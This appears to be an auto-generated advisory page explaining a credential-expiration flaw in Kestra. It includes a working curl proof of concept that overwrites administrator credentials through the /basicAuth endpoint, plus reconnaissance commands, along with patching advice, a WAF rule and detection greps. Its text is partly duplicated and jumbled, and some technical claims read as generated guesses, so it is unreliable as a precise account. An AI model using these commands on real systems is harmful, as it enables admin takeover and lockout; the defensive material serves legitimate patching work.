CVE-2026-138121 — Kestra — CWE-613
Kestra 1.3.24 before 1.3.41 contains an insufficient credential expiration vulnerability that allows holders of a revoked administrator password to keep authenticating on peer webserver nodes through BasicAuthService's process-local verified-token cache. Attackers whose token remains cached on a peer node can call POST /api/v1/{tenant}/basicAuth to overwrite the shared administrator credentials and lock out the legitimate administrator.
Kestra 1.3.24 before 1.3.41 contains an insufficient credential expiration vulnerability that allows holders of a revoked administrator password to keep authenticating on peer webserver nodes through BasicAuthService's process-local verified-token cache. Attackers whose token remains cached on a peer node can call POST /api/v1/{tenant}/basicAuth to overwrite the shared administrator credentials and lock out the legitimate administrator.
🎯 What is this vulnerability?
Kestra 1.3.24 – 1.3.40 contains an insufficient credential expiration flaw (CWE‑613).
The BasicAuthService creates a process‑local verified‑token cache that stores a JWT‑style token for each authenticated user.
When an administrator’s password is revoked (or changed) the service does not invalidate or purge the cached token.
Consequently, a revoked admin can still authenticate on peer web‑server nodes that have cached the old token.
Once authenticated, the attacker can call the privileged endpoint
POST /api/v1/{tenant}/basicAuthto overwrite the shared administrator credentials.
Because the endpoint accepts the request without re‑validating the current password hash, the attacker can set a new admin password and lock out the legitimate administrator.
Key missing checks:
1. Token revocation – the cache never checks if the underlying password hash has changed.
2. Credential‑change authorization – the /basicAuth endpoint does not verify that the caller’s current password matches the stored hash before allowing a change.⚡ Attack Chain
| Step | Action | Technical Detail | Example / PoC | |
|---|---|---|---|---|
| 1. Discovery & Reconnaissance | Identify Kestra instance and vulnerable version | *Common* methods:<br>• curl -I http://<target>/ – look for Kestra in Server header.<br>• curl http://<target>/api/v1/version – returns JSON with version field.<br>• Scan for open ports (80/443) and enumerate /api/v1/* endpoints with tools like dirsearch or nikto. | ``bash<br>curl -s http://10.0.0.5/api/v1/version | jq .version<br>` |
| 2. Exploitation | Authenticate with a *revoked* admin credential that is still cached on a peer node. | 1. Obtain revoked credentials (e.g., from a leaked database, phishing, or social engineering).<br>2. Use BasicAuth header to send a request to the peer node. The cached token is still considered valid, so the request is accepted.<br>3. Call the privileged endpoint to overwrite admin credentials. | `bash<br># Assume revoked admin credentials: admin:oldpass<br># Base64 encode: echo -n 'admin:oldpass' | base64 -> YWRtaW46b2xkcGFzcw==<br>curl -X POST \\\n -H "Authorization: Basic YWRtaW46b2xkcGFzcw==" \\\n -H "Content-Type: application/json" \\\n -d '{"username":"admin","password":"newSecurePass123"}' \\\n http://10.0.0.5/api/v1/defaultTenant/basicAuth<br>`<br>Note: The endpoint is *exactly* /api/v1/{tenant}/basicAuth as stated in the CVE. If a different tenant name is used, replace defaultTenant accordingly. |
| 3. Post‑exploitation | Gain full administrative control and lock out the legitimate admin. | • The new password (newSecurePass123) is now stored in Kestra’s credential store.<br>• The legitimate admin can no longer log in because the old password is revoked and the cached token is invalidated.<br>• The attacker can now: <br> • Create or modify workflows.<br> • Export data.<br> • Install malicious plugins.<br> • Use the API to exfiltrate data or pivot to other services. | `bash<br># Verify new admin login works<br>curl -X GET \\\n -H "Authorization: Basic $(echo -n 'admin:newSecurePass123' | base64)" \\\n http://10.0.0.5/api/v1/defaultTenant/workflows<br>`` |
🌍 Real World Impact
| Impact | CVSS Vector | Practical Consequence |
|---|---|---|
| Confidentiality | C:H | Attacker can read all workflow definitions, secrets, and any data processed by Kestra. |
| Integrity | I:H | Attacker can modify or delete workflows, inject malicious code, or alter data pipelines. |
| Availability | A:H | By locking out the legitimate administrator, the attacker can effectively deny service to legitimate users until the password is reset or the system is patched. |
Because the flaw allows any holder of a revoked admin credential to perform privileged actions, the risk is high even though the CVSS score is 6.6 (medium). The attack does not require network traversal or local code execution; it is purely a web‑API abuse.
🛡️ Remediation & Mitigation
Affected Versions
- Kestra 1.3.24 – 1.3.40 (inclusive)
- Upgrade to Kestra 1.3.41 or later. The patch revokes cached tokens immediately when an admin password is changed or revoked and adds a strict authorization check on
/basicAuth. - Base64‑encoded BasicAuth header containing the revoked password (e.g.,
YWRtaW46b2xkcGFzcw==). - POST requests to
/api/v1/*/basicAuthwithContent-Type: application/jsonand a JSON body containing"username":"admin". - Immediate action: Upgrade to 1.3.41 or later.
- If upgrade is delayed: Apply the workarounds above and monitor logs for the IoCs listed.
- Long‑term: Implement a token revocation policy and audit all authentication endpoints for similar logic gaps.
Fix
Workarounds (if upgrade is not immediately possible)
| Mitigation | How to Apply | Notes | |
|---|---|---|---|
| Disable BasicAuthService | Remove or comment out the BasicAuthService bean in the Kestra configuration (e.g., application.yml or application.properties). | Requires a restart; no BasicAuth will be available. | |
Restrict /basicAuth endpoint | Configure the web server (NGINX/Apache) to allow POST /api/v1/*/basicAuth only from trusted IP ranges. | Does not prevent an attacker on a trusted IP. | |
| Enforce token expiration | Add a custom filter that checks the password hash timestamp against the token’s issuance time. | Requires code changes; not a quick fix. | |
| WAF / ModSecurity rule | Block repeated BasicAuth attempts from the same IP within a short window. | Example rule: <br>SecRule REQUEST_HEADERS:Authorization "Basic\s+([A-Za-z0-9+/=]+)" "id:1001,phase:2,block,msg:'Suspicious BasicAuth attempt'" | This mitigates brute‑force but not credential reuse. |
Detection
| Indicator | Log Pattern | How to Search |
|---|---|---|
Repeated POST to /basicAuth | POST /api/v1/[^/]+/basicAuth | grep -i 'POST /api/v1/[^/]*\/basicAuth' /var/log/nginx/access.log |
| Successful authentication with revoked credentials | Authentication succeeded for user 'admin' (or similar) | grep -i 'Authentication succeeded' /var/log/kestra/app.log |
| Credential overwrite | Admin credentials updated | grep -i 'Admin credentials updated' /var/log/kestra/app.log |
| Token cache hit | Token cache hit for user 'admin' | grep -i 'Token cache hit' /var/log/kestra/app.log |
IoCs
⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS Score | 6.6 (Medium) |
| Impact | Full admin takeover + lockout → high business impact |
| Exploit Complexity | High (requires revoked credentials) but *possible* via credential leaks or social engineering |
| CISA KEV | No |
| Patch Availability | Yes (1.3.41) |
Recommendation:
Treat this as a high‑priority patch.
By addressing the flaw promptly, you eliminate the ability for revoked credentials to persist and prevent attackers from hijacking administrative control.
[🤖 CVE Professor AI Security Engine]
FOFA Query